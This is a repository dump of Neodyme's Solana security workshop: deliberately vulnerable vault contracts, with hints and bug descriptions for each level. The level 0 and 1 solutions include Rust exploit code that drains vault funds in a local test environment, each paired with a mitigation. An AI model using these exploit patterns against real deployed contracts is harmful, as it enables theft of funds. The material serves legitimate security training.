├── docs ├── solana.md ├── level1-hint1.md ├── level1-hint2.md ├── level2-hint1.md ├── level2-hint2.md ├── level4-hint3.md ├── legal-notice.md ├── level3-hint1.md ├── level1-bug.md ├── level4-bug.md ├── Presentation_neodyme.pdf ├── level3-hint2.md ├── level2.md ├── level4-hint2.md ├── level3-bug.md ├── level2-bug.md ├── resources.md ├── level3.md ├── level4.md ├── level1.md ├── level0.md ├── level4-hint1.md ├── workshop.md ├── SUMMARY.md ├── level1-solution.md ├── level0-solution.md ├── README.md ├── poc_framework.md ├── level4-solution.md ├── level3-solution.md ├── level2-solution.md ├── setup.md └── contract3.svg ├── .vscode ├── settings.json └── tasks.json ├── level0 ├── Xargo.toml ├── Cargo.toml └── src │ ├── lib.rs │ └── processor.rs ├── level1 ├── Xargo.toml ├── Cargo.toml └── src │ ├── lib.rs │ └── processor.rs ├── level2 ├── Xargo.toml ├── Cargo.toml └── src │ ├── lib.rs │ └── processor.rs ├── level3 ├── Xargo.toml ├── Cargo.toml └── src │ ├── lib.rs │ └── processor.rs ├── level4 ├── Xargo.toml ├── vendored-spl-token-3.1.0 │ ├── program-id.md │ ├── Xargo.toml │ ├── src │ │ ├── entrypoint.rs │ │ ├── native_mint.rs │ │ ├── lib.rs │ │ ├── error.rs │ │ └── state.rs │ ├── .cargo-checksum.json │ ├── Cargo.toml │ └── inc │ │ └── token.h ├── Cargo.toml └── src │ ├── lib.rs │ └── processor.rs ├── .dockerignore ├── level4-poc-contract ├── Xargo.toml ├── Cargo.toml └── src │ └── lib.rs ├── Cargo.toml ├── Dockerfile.prebuilt ├── .gitignore ├── README.md ├── book.toml ├── pocs ├── src │ ├── lib.rs │ └── bin │ │ ├── level4.rs │ │ ├── level1.rs │ │ ├── level2.rs │ │ ├── level0.rs │ │ └── level3.rs └── Cargo.toml ├── .gitlab-ci.yml └── Dockerfile /docs/solana.md: -------------------------------------------------------------------------------- 1 | # Background on Solana 2 | -------------------------------------------------------------------------------- /docs/level1-hint1.md: -------------------------------------------------------------------------------- 1 | # Hint 1 2 | 3 | Look closely at the `withdraw` function. -------------------------------------------------------------------------------- /docs/level1-hint2.md: -------------------------------------------------------------------------------- 1 | # Hint 2 2 | 3 | How is the authority’s identity checked? -------------------------------------------------------------------------------- /docs/level2-hint1.md: -------------------------------------------------------------------------------- 1 | # Hint 1 2 | 3 | Huge numbers make huge problems. 4 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "rust-analyzer.cargo.features": [ 3 | ] 4 | } -------------------------------------------------------------------------------- /level0/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /level1/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /level2/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /level3/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /level4/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/program-id.md: -------------------------------------------------------------------------------- 1 | TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA 2 | -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | .gitignore 3 | README.md 4 | Dockerfile 5 | Dockerfile.prebuilt 6 | .git -------------------------------------------------------------------------------- /docs/level2-hint2.md: -------------------------------------------------------------------------------- 1 | # Hint 2 2 | 3 | How could you turn the source into the destination? 4 | -------------------------------------------------------------------------------- /level4-poc-contract/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /docs/level4-hint3.md: -------------------------------------------------------------------------------- 1 | # Hint 3 2 | 3 | Cross-program invocations are complex, what things can you control? -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] -------------------------------------------------------------------------------- /docs/legal-notice.md: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /docs/level3-hint1.md: -------------------------------------------------------------------------------- 1 | # Hint 1 2 | How do Program-Derived-Addresses (PDAs) work? How is the `u8` bump-seed related to this? 3 | -------------------------------------------------------------------------------- /docs/level1-bug.md: -------------------------------------------------------------------------------- 1 | # Bug 2 | 3 | The `withdraw` function does not check that the `authority` has signed. Now, can you exploit this? -------------------------------------------------------------------------------- /docs/level4-bug.md: -------------------------------------------------------------------------------- 1 | # Bug 2 | 3 | The program allows you to control which program is invoked during withdraw. Can you exploit this? -------------------------------------------------------------------------------- /docs/Presentation_neodyme.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/neodyme-labs/neodyme-breakpoint-workshop/HEAD/docs/Presentation_neodyme.pdf -------------------------------------------------------------------------------- /docs/level3-hint2.md: -------------------------------------------------------------------------------- 1 | # Hint 2 2 | The checks in this contract are quite strict, would be a shame if you could mix up vaults and pools. 3 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "level0", 4 | "level1", 5 | "level2", 6 | "level3", 7 | "pocs", 8 | "level4-poc-contract" 9 | ] 10 | -------------------------------------------------------------------------------- /docs/level2.md: -------------------------------------------------------------------------------- 1 | # Level 2 - Secure Personal Vault 2 | 3 | Now that this missing signer check is fixed, the contract looks really secure... but I wonder, if you can still break it? -------------------------------------------------------------------------------- /docs/level4-hint2.md: -------------------------------------------------------------------------------- 1 | # Hint 2 2 | 3 | You need to write your own contract to exploit this bug. We've already prepared a skeleton for you at the path `level4-poc-contract`. 4 | -------------------------------------------------------------------------------- /Dockerfile.prebuilt: -------------------------------------------------------------------------------- 1 | FROM breakpoint:latest 2 | 3 | RUN cargo build-bpf 4 | RUN cargo build --workspace --bins 5 | 6 | # cargo run --bin 7 | CMD while :; do :; done & kill -STOP $! && wait $! -------------------------------------------------------------------------------- /docs/level3-bug.md: -------------------------------------------------------------------------------- 1 | # Bug 2 | 3 | The `Vault` struct can be deserialized into a `TipPool` struct and only the owner of the accounts gets checked in the `withdraw` function. 4 | 5 | How can you exploit this? -------------------------------------------------------------------------------- /docs/level2-bug.md: -------------------------------------------------------------------------------- 1 | # Bug 2 | 3 | The bug is in the `withdraw` function: 4 | ```rs 5 | **wallet_info.lamports.borrow_mut() -= amount; 6 | **destination_info.lamports.borrow_mut() += amount; 7 | ``` 8 | 9 | can overflow/underflow for large `amount` -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # These are backup files generated by rustfmt 7 | **/*.rs.bk 8 | 9 | # MSVC Windows builds of rustc generate these, which store debugging information 10 | *.pdb 11 | 12 | book-target -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Solana Security Workshop 2 | 3 | Welcome to our Solana Security Workshop! 4 | 5 | All details are in the docs. To check it out online, visit [https://workshop.neodyme.io](https://workshop.neodyme.io). 6 | 7 | To build it yourself, install mdbook (`cargo install mdbook`) and run `mdbook serve`. 8 | -------------------------------------------------------------------------------- /book.toml: -------------------------------------------------------------------------------- 1 | [book] 2 | authors = ["Neodyme"] 3 | language = "en" 4 | multilingual = false 5 | src = "docs" 6 | title = "Solana Security Workshop" 7 | 8 | [build] 9 | build-dir = "target/book" 10 | 11 | [output.html] 12 | default-theme = "navy" 13 | git-repository-url = "https://github.com/neodyme-labs/neodyme-breakpoint-workshop" -------------------------------------------------------------------------------- /docs/resources.md: -------------------------------------------------------------------------------- 1 | # Resources 2 | 3 | Collection of helpful links: 4 | 5 | - [PoC Framework Docs](https://docs.rs/poc-framework/0.1.2/poc_framework/trait.Environment.html) 6 | - [Worshop Presentation](https://www.youtube.com/watch?v=vbkhhgeP30I) 7 | - [Common Pitfalls and How to Avoid Them](https://blog.neodyme.io/posts/solana_common_pitfalls) -------------------------------------------------------------------------------- /level0/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level0" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | solana-program = "1.8.2" 11 | spl-token = { version = "*", features = ["no-entrypoint"] } 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | 15 | [lib] 16 | crate-type = ["cdylib", "lib"] 17 | -------------------------------------------------------------------------------- /level1/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level1" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | solana-program = "1.8.2" 11 | spl-token = { version = "*", features = ["no-entrypoint"] } 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | 15 | [lib] 16 | crate-type = ["cdylib", "lib"] 17 | -------------------------------------------------------------------------------- /level2/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level2" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | solana-program = "1.8.2" 11 | spl-token = { version = "*", features = ["no-entrypoint"] } 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | 15 | [lib] 16 | crate-type = ["cdylib", "lib"] 17 | -------------------------------------------------------------------------------- /level3/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level3" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | 10 | [dependencies] 11 | solana-program = "1.8.2" 12 | spl-token = { version = "*", features = ["no-entrypoint"] } 13 | borsh = "0.9.1" 14 | borsh-derive = "0.9.1" 15 | 16 | [lib] 17 | crate-type = ["cdylib", "lib"] 18 | -------------------------------------------------------------------------------- /level4-poc-contract/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level4-poc-contract" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | solana-program = "1.8.2" 11 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | 15 | [lib] 16 | crate-type = ["cdylib", "lib"] 17 | -------------------------------------------------------------------------------- /level4/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level4" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [dependencies] 7 | solana-program = "1.7.17" 8 | vendored-spl-token = { path = "./vendored-spl-token-3.1.0", features = ["no-entrypoint"] } 9 | borsh = "0.9.1" 10 | borsh-derive = "0.9.1" 11 | 12 | [lib] 13 | crate-type = ["cdylib", "lib"] 14 | 15 | [features] 16 | no-entrypoint = [] 17 | -------------------------------------------------------------------------------- /level4-poc-contract/src/lib.rs: -------------------------------------------------------------------------------- 1 | use solana_program::{ 2 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, 3 | pubkey::Pubkey, 4 | }; 5 | 6 | entrypoint!(process_instruction); 7 | 8 | pub fn process_instruction( 9 | _program_id: &Pubkey, 10 | _accounts: &[AccountInfo], 11 | _instruction_data: &[u8], 12 | ) -> ProgramResult { 13 | panic!("Nothing here yet."); 14 | } 15 | -------------------------------------------------------------------------------- /pocs/src/lib.rs: -------------------------------------------------------------------------------- 1 | use poc_framework::{solana_transaction_status::EncodedConfirmedTransaction, PrintableTransaction}; 2 | 3 | pub fn assert_tx_success(tx: EncodedConfirmedTransaction) -> EncodedConfirmedTransaction { 4 | match &tx.transaction.meta { 5 | Some(meta) if meta.err.is_some() => { 6 | tx.print(); 7 | panic!("tx failed!") 8 | } 9 | _ => tx, 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /docs/level3.md: -------------------------------------------------------------------------------- 1 | # Level 3 - Tip Pool 2 | 3 | # Usage 4 | 5 | Ever needed an easy and secure way to tip people? This contract will solve all your donation problems: The operator creates a vault. Then everyone who wants can create a pool for their personal donation account – to receive tips. For tax-reasons all funds are stored centrally, you can just withdraw the desired amount whenever you need them, and pay taxes at that point. 6 | 7 | # Example Flow 8 | 9 | - Initialize the contract 10 | - Create a pool 11 | - Tip to the pool 12 | - Withdraw from the pool -------------------------------------------------------------------------------- /docs/level4.md: -------------------------------------------------------------------------------- 1 | # Level 4 2 | All the personal vaults we've seen so far only can only store SOL. 3 | Level 4 now implements a vault for arbitrary SPL tokens, the standard token implementation on Solana. 4 | 5 | For each user, the contract manages an SPL token account, to which deposits can be made. 6 | The account is derived from the user's address, and only this user should be able to withdraw the tokens again. 7 | 8 | Can you spot the bug, and steal the tokens from the wallet? 9 | 10 | Note: this bug is a bit sneaky, so don't feel bad if you don't spot it right away! -------------------------------------------------------------------------------- /docs/level1.md: -------------------------------------------------------------------------------- 1 | # Level 1 - Personal Vault 2 | 3 | Let's get ready to write your first own exploit. 4 | We've simplified the contract used in Level 0 a bit - there's no shared vault anymore, the contract only manages personal vaults. 5 | The functionality is still the same: after initializing your account, you can deposit and withdraw SOL from this account. 6 | 7 | Each personal wallet account has an authority. This authority is stored in the account data struct: 8 | 9 | ```rust 10 | pub struct Wallet { 11 | pub authority: Pubkey 12 | } 13 | ``` 14 | 15 | Only the authority should be able to withdraw funds from a wallet. Can you break this? -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | image: rust:1.62-alpine 2 | 3 | stages: 4 | - deploy 5 | 6 | deploy_job: 7 | stage: deploy 8 | 9 | before_script: 10 | - apk update && apk add openssh-client rsync musl-dev tzdata 11 | - cp /usr/share/zoneinfo/Europe/Berlin /etc/localtime 12 | - eval $(ssh-agent -s) 13 | - echo "$SSH_PRIVATE_KEY" | base64 -d | ssh-add - 14 | 15 | script: 16 | - cargo install mdbook 17 | - mdbook build --dest-dir public 18 | - rsync -e "ssh -o StrictHostKeyChecking=no" 19 | -atv 20 | --delete 21 | --progress 22 | public/ $SSH_USER@$SSH_HOST:/var/lib/caddy/live/websites/workshop.neodyme.io 23 | 24 | only: 25 | - main 26 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.56.0-bullseye 2 | 3 | RUN apt-get update && apt-get install -y clang libudev-dev 4 | 5 | RUN rustup component add rustfmt 6 | 7 | RUN adduser --gecos '' --disabled-password user 8 | USER 1000 9 | 10 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.8.2/install)" 11 | ENV PATH="/home/user/.local/share/solana/install/active_release/bin:${PATH}" 12 | 13 | WORKDIR /work 14 | 15 | USER 0 16 | COPY . /work 17 | RUN chown -R user:user /work 18 | USER 1000 19 | 20 | RUN echo 'eval $(tr "\0" "\n" < /proc/1/environ | sed -re "s@^@export @")' > /home/user/.bashrc 21 | 22 | # cargo run --bin 23 | CMD while :; do :; done & kill -STOP $! && wait $! 24 | -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/src/entrypoint.rs: -------------------------------------------------------------------------------- 1 | //! Program entrypoint 2 | 3 | use crate::{error::TokenError, processor::Processor}; 4 | use solana_program::{ 5 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, 6 | program_error::PrintProgramError, pubkey::Pubkey, 7 | }; 8 | 9 | entrypoint!(process_instruction); 10 | fn process_instruction( 11 | program_id: &Pubkey, 12 | accounts: &[AccountInfo], 13 | instruction_data: &[u8], 14 | ) -> ProgramResult { 15 | if let Err(error) = Processor::process(program_id, accounts, instruction_data) { 16 | // catch the error so we can print it 17 | error.print::(); 18 | return Err(error); 19 | } 20 | Ok(()) 21 | } 22 | -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/src/native_mint.rs: -------------------------------------------------------------------------------- 1 | //! The Mint that represents the native token 2 | 3 | /// There are 10^9 lamports in one SOL 4 | pub const DECIMALS: u8 = 9; 5 | 6 | // The Mint for native SOL Token accounts 7 | solana_program::declare_id!("So11111111111111111111111111111111111111112"); 8 | 9 | #[cfg(test)] 10 | mod tests { 11 | use super::*; 12 | use solana_program::native_token::*; 13 | 14 | #[test] 15 | fn test_decimals() { 16 | assert!( 17 | (lamports_to_sol(42) - crate::amount_to_ui_amount(42, DECIMALS)).abs() < f64::EPSILON 18 | ); 19 | assert_eq!( 20 | sol_to_lamports(42.), 21 | crate::ui_amount_to_amount(42., DECIMALS) 22 | ); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /pocs/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "pocs" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | poc-framework = { version = "0.1.5" } 10 | level0 = { path = "../level0", features = ["no-entrypoint"] } 11 | level1 = { path = "../level1", features = ["no-entrypoint"] } 12 | level2 = { path = "../level2", features = ["no-entrypoint"] } 13 | level3 = { path = "../level3", features = ["no-entrypoint"] } 14 | level4 = { path = "../level4", features = ["no-entrypoint"] } 15 | 16 | solana-program = "1.8.2" 17 | borsh = "0.9.1" 18 | borsh-derive = "0.9.1" 19 | spl-token = { version = "*", features = ["no-entrypoint"] } 20 | 21 | owo-colors = "3.1.0" 22 | solana-logger = "1.8.2" 23 | 24 | [lib] 25 | -------------------------------------------------------------------------------- /docs/level0.md: -------------------------------------------------------------------------------- 1 | This is the presentation we held at Breakpoint 2021. We explained the basics of level 0 and how to exploit it. You can watch the presentation on YouTube and follow along in the presentation. 2 | 3 | 4 | 5 | 6 | 7 |

This browser does not support PDFs. Please download the PDF to view it: Download PDF.

8 | 9 |
-------------------------------------------------------------------------------- /docs/level4-hint1.md: -------------------------------------------------------------------------------- 1 | # Hint 1 2 | 3 | Take a look at `Cargo.toml`. We had to use spl-token version 3.1.0, since the bug is not exploitable with spl-token version 3.1.1 and above. 4 | It might be wise to take a look at the changes between those two versions. 5 | 6 | 7 |
8 | Sub-hint: How to diff these versions? 9 | Unfortunately, SPL-token is inside a monorepo. This makes diffing via GitHub's web-ui nearly impossible. 10 | You can, however, look at all recent commits to the SPL-token program by opening the folder and clicking History. 11 | 12 | To diff every file in SPL-Token via the CLI, you could clone the solana-program-library repo, and then run `git diff token-v3.1.0 token-v3.1.1 -- token/program/src`. 13 |
14 | -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/.cargo-checksum.json: -------------------------------------------------------------------------------- 1 | {"files":{"Cargo.toml":"e2b854b209687604448c94407bfc256742221e99033e6e2bb53442923ebef815","Xargo.toml":"a4292e0c9687ede7dc40c108682afb3568b810e1ba859ac5aff32b24491e6931","inc/token.h":"bc5ede8eaf73bb09bb7c812129019964b9335e4a880dcd133516a142636ee635","program-id.md":"850fdb05a21c68abe2d17caca3d63c0839733a61f1e4ef8595f8a3e9b62909c1","src/entrypoint.rs":"a597c08ff4ddd44aa46faa587fd4efa7587a331edfffb1df6f69d030a2d78670","src/error.rs":"da1771b38ed7b7b9616d1d0139ab6d3b0345079927882ab34fe106c06845d606","src/instruction.rs":"8ec8f119af9d53deb94251ae6bcbe2e9071d6d4039305dfb975fb54e0a2bb5b4","src/lib.rs":"f599f90de41680f75159e6588ff449a196365ce8d0f793f9f8016aa06b45992a","src/native_mint.rs":"ce4cfd6c844af094189ba5ed5260ea2773cade44376a9caa6153b82f813a4b11","src/processor.rs":"3b259b8ec39838c51396e8e9eafe8ea1575a4b661f29fdc4139876428ff94131","src/state.rs":"0742da22c23671bc64a13b6f09ac8ac7104be639c42bd64fa6305aac46de9f0a"},"package":"b795e50d15dfd35aa5460b80a16414503a322be115a417a43db987c5824c6798"} -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![deny(missing_docs)] 2 | #![forbid(unsafe_code)] 3 | 4 | //! An ERC20-like Token program for the Solana blockchain 5 | 6 | pub mod error; 7 | pub mod instruction; 8 | pub mod native_mint; 9 | pub mod processor; 10 | pub mod state; 11 | 12 | #[cfg(not(feature = "no-entrypoint"))] 13 | mod entrypoint; 14 | 15 | // Export current sdk types for downstream users building with a different sdk version 16 | pub use solana_program; 17 | 18 | /// Convert the UI representation of a token amount (using the decimals field defined in its mint) 19 | /// to the raw amount 20 | pub fn ui_amount_to_amount(ui_amount: f64, decimals: u8) -> u64 { 21 | (ui_amount * 10_usize.pow(decimals as u32) as f64) as u64 22 | } 23 | 24 | /// Convert a raw amount to its UI representation (using the decimals field defined in its mint) 25 | pub fn amount_to_ui_amount(amount: u64, decimals: u8) -> f64 { 26 | amount as f64 / 10_usize.pow(decimals as u32) as f64 27 | } 28 | 29 | solana_program::declare_id!("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA"); 30 | -------------------------------------------------------------------------------- /docs/workshop.md: -------------------------------------------------------------------------------- 1 | # Workshop 2 | To make this workshop hands-on, you will find bugs and develop exploits for them yourself. 3 | 4 | We have prepared a few vulnerable Solana contracts. 5 | As this workshop was intended for only 3h, we have simplified bugs we have found in the wild a lot. 6 | This allows you to focus on finding and exploiting bugs over reverse-engineering functionality. 7 | 8 | In the same vein, we have opted not to use the Anchor framework in our contracts, even though it usually leads to more secure contracts. 9 | This is simply to save the extra time you'd need to learn anchor if you are not familiar yet. 10 | The security fundamentals you learn here will apply just as well in anchor, they'll be just a bit easier to implement cleanly there. 11 | 12 | In anchor, lots of checks are hidden away, and we often have to go diggin in anchor source to understand what exactly is being checked and what can be controlled. (have not found a bug inside anchor itself though... yet) 13 | 14 | Each task can be solved without looking at the description here. But we have prepared some hints to help you. 15 | -------------------------------------------------------------------------------- /docs/SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | - [Introduction](README.md) 4 | - [Workshop](workshop.md) 5 | - [Setup](setup.md) 6 | - [PoC Framework](poc_framework.md) 7 | - [Level 0 - A First Vulnerability - Presentation](level0.md) 8 | - [Solution](level0-solution.md)) 9 | - [Level 1 - Personal Vault](level1.md) 10 | - [Hint 1](level1-hint1.md) 11 | - [Hint 2](level1-hint2.md) 12 | - [Bug](level1-bug.md) 13 | - [Solution](level1-solution.md) 14 | - [Level 2 - Secure Personal Vault](level2.md) 15 | - [Hint 1](level2-hint1.md) 16 | - [Hint 2](level2-hint2.md) 17 | - [Bug](level2-bug.md) 18 | - [Solution](level2-solution.md) 19 | - [Level 3 - Tip Pool](level3.md) 20 | - [Hint 1](level3-hint1.md) 21 | - [Hint 2](level3-hint2.md) 22 | - [Bug](level3-bug.md) 23 | - [Solution](level3-solution.md) 24 | - [Level 4 - SPL-Token Vault](level4.md) 25 | - [Hint 1](level4-hint1.md) 26 | - [Hint 2](level4-hint2.md) 27 | - [Hint 3](level4-hint3.md) 28 | - [Bug](level4-bug.md) 29 | - [Solution](level4-solution.md) 30 | 31 | [Resources](resources.md) 32 | 33 | --- 34 | [Legal Notice](legal-notice.md) 35 | -------------------------------------------------------------------------------- /level4/vendored-spl-token-3.1.0/Cargo.toml: -------------------------------------------------------------------------------- 1 | # THIS FILE IS AUTOMATICALLY GENERATED BY CARGO 2 | # 3 | # When uploading crates to the registry Cargo will automatically 4 | # "normalize" Cargo.toml files for maximal compatibility 5 | # with all versions of Cargo and also rewrite `path` dependencies 6 | # to registry (e.g., crates.io) dependencies 7 | # 8 | # If you believe there's an error in this file please file an 9 | # issue against the rust-lang/cargo repository. If you're 10 | # editing this file be aware that the upstream Cargo.toml 11 | # will likely look very different (and much more reasonable) 12 | 13 | [package] 14 | edition = "2018" 15 | name = "vendored-spl-token" 16 | version = "3.1.0" 17 | authors = ["Solana Maintainers "] 18 | exclude = ["js/**"] 19 | description = "Solana Program Library Token" 20 | license = "Apache-2.0" 21 | repository = "https://github.com/solana-labs/solana-program-library" 22 | [package.metadata.docs.rs] 23 | targets = ["x86_64-unknown-linux-gnu"] 24 | 25 | [lib] 26 | crate-type = ["cdylib", "lib"] 27 | [dependencies.arrayref] 28 | version = "0.3.6" 29 | 30 | [dependencies.num-derive] 31 | version = "0.3" 32 | 33 | [dependencies.num-traits] 34 | version = "0.2" 35 | 36 | [dependencies.num_enum] 37 | version = "0.5.1" 38 | 39 | [dependencies.solana-program] 40 | version = "1.5.6" 41 | 42 | [dependencies.thiserror] 43 | version = "1.0" 44 | [dev-dependencies.solana-sdk] 45 | version = "1.5.6" 46 | 47 | [features] 48 | no-entrypoint = [] 49 | -------------------------------------------------------------------------------- /docs/level1-solution.md: -------------------------------------------------------------------------------- 1 | # Solution - Missing Signer Check 2 | 3 | The vulnerability in this contract is a missing signer check in the withdraw function: 4 | 5 | The wallet authority does not have to sign the execution of the instruction. This has the effect, that everybody can pretend to be the authority. 6 | 7 | 8 | ```rust 9 | use borsh::BorshSerialize; 10 | use level1::WalletInstruction; 11 | use solana_program::instruction::{AccountMeta, Instruction}; 12 | 13 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 14 | let tx = env.execute_as_transaction( 15 | // we construct the instruction manually here 16 | // because the level1::withdraw function sets the is_signer flag on the authority 17 | // but we don't want to sign 18 | &[Instruction { 19 | program_id: challenge.wallet_program, 20 | accounts: vec![ 21 | AccountMeta::new(challenge.wallet_address, false), 22 | AccountMeta::new(challenge.wallet_authority, false), 23 | AccountMeta::new(challenge.hacker.pubkey(), true), 24 | AccountMeta::new_readonly(system_program::id(), false), 25 | ], 26 | data: WalletInstruction::Withdraw { amount: sol_to_lamports(1.0) }.try_to_vec().unwrap(), 27 | }], 28 | &[&challenge.hacker], 29 | ); 30 | tx.print_named("haxx"); 31 | } 32 | ``` 33 | 34 | # Mitigation 35 | 36 | By adding a check in the `withdraw` function, to check if the `wallet_info` is signed this vulnerability can be prevented: 37 | 38 | ```rust 39 | assert!(authority_info.is_signer); 40 | ``` -------------------------------------------------------------------------------- /docs/level0-solution.md: -------------------------------------------------------------------------------- 1 | # Solution 2 | 3 | 4 | ```rust 5 | use borsh::BorshSerialize; 6 | use level0::{Wallet, WalletInstruction}; 7 | use solana_program::instruction::{AccountMeta, Instruction}; 8 | 9 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 10 | // Figure out how much we want to steal 11 | let amount = env.get_account(challenge.vault_address).unwrap().lamports; 12 | println!("Trying to steal {} lamports", amount.green()); 13 | 14 | // Create a fake Wallet pointing to the real vault 15 | let hack_wallet = Wallet { 16 | authority: challenge.hacker.pubkey(), 17 | vault: challenge.vault_address, 18 | }; 19 | 20 | let fake_wallet = keypair(123); 21 | let mut hack_wallet_data: Vec = vec![]; 22 | 23 | hack_wallet.serialize(&mut hack_wallet_data).unwrap(); 24 | 25 | env.create_account_with_data(&fake_wallet, hack_wallet_data); 26 | 27 | env.execute_as_transaction( 28 | &[Instruction { 29 | program_id: challenge.wallet_program, 30 | accounts: vec![ 31 | AccountMeta::new(fake_wallet.pubkey(), false), 32 | AccountMeta::new(challenge.vault_address, false), 33 | AccountMeta::new(challenge.hacker.pubkey(), true), 34 | AccountMeta::new(challenge.hacker.pubkey(), false), 35 | AccountMeta::new_readonly(system_program::id(), false), 36 | ], 37 | data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), 38 | }], 39 | &[&challenge.hacker], 40 | ) 41 | .print(); 42 | } 43 | 44 | ``` 45 | 46 | # Mitigation 47 | 48 | By adding a check in the `withdraw` function, to check if the program itself is the owner of the `wallet_info` this vulnerability can be prevented: 49 | 50 | ```rust 51 | assert_eq!(wallet_info.owner, _program_id); 52 | ``` -------------------------------------------------------------------------------- /.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "label": "poc-framework: run level0", 6 | "type": "cargo", 7 | "command": "run", 8 | "args": [ 9 | "--bin", 10 | "level0" 11 | ], 12 | "group": "build", 13 | "env": { 14 | "RUST_BACKTRACE": "1" 15 | }, 16 | "dependsOn": [ 17 | "poc-framework: build contracts" 18 | ] 19 | }, 20 | { 21 | "label": "poc-framework: run level1", 22 | "type": "cargo", 23 | "command": "run", 24 | "args": [ 25 | "--bin", 26 | "level1" 27 | ], 28 | "group": "build", 29 | "env": { 30 | "RUST_BACKTRACE": "1" 31 | }, 32 | "dependsOn": [ 33 | "poc-framework: build contracts" 34 | ] 35 | }, 36 | { 37 | "label": "poc-framework: run level2", 38 | "type": "cargo", 39 | "command": "run", 40 | "args": [ 41 | "--bin", 42 | "level2" 43 | ], 44 | "group": "build", 45 | "env": { 46 | "RUST_BACKTRACE": "1" 47 | }, 48 | "dependsOn": [ 49 | "poc-framework: build contracts" 50 | ] 51 | }, 52 | { 53 | "label": "poc-framework: run level3", 54 | "type": "cargo", 55 | "command": "run", 56 | "args": [ 57 | "--bin", 58 | "level3" 59 | ], 60 | "group": "build", 61 | "env": { 62 | "RUST_BACKTRACE": "1" 63 | }, 64 | "dependsOn": [ 65 | "poc-framework: build contracts" 66 | ] 67 | }, 68 | { 69 | "label": "poc-framework: run level4", 70 | "type": "cargo", 71 | "command": "run", 72 | "args": [ 73 | "--bin", 74 | "level4" 75 | ], 76 | "group": "build", 77 | "env": { 78 | "RUST_BACKTRACE": "1" 79 | }, 80 | "dependsOn": [ 81 | "poc-framework: build contracts" 82 | ] 83 | }, 84 | { 85 | "label": "poc-framework: build contracts", 86 | 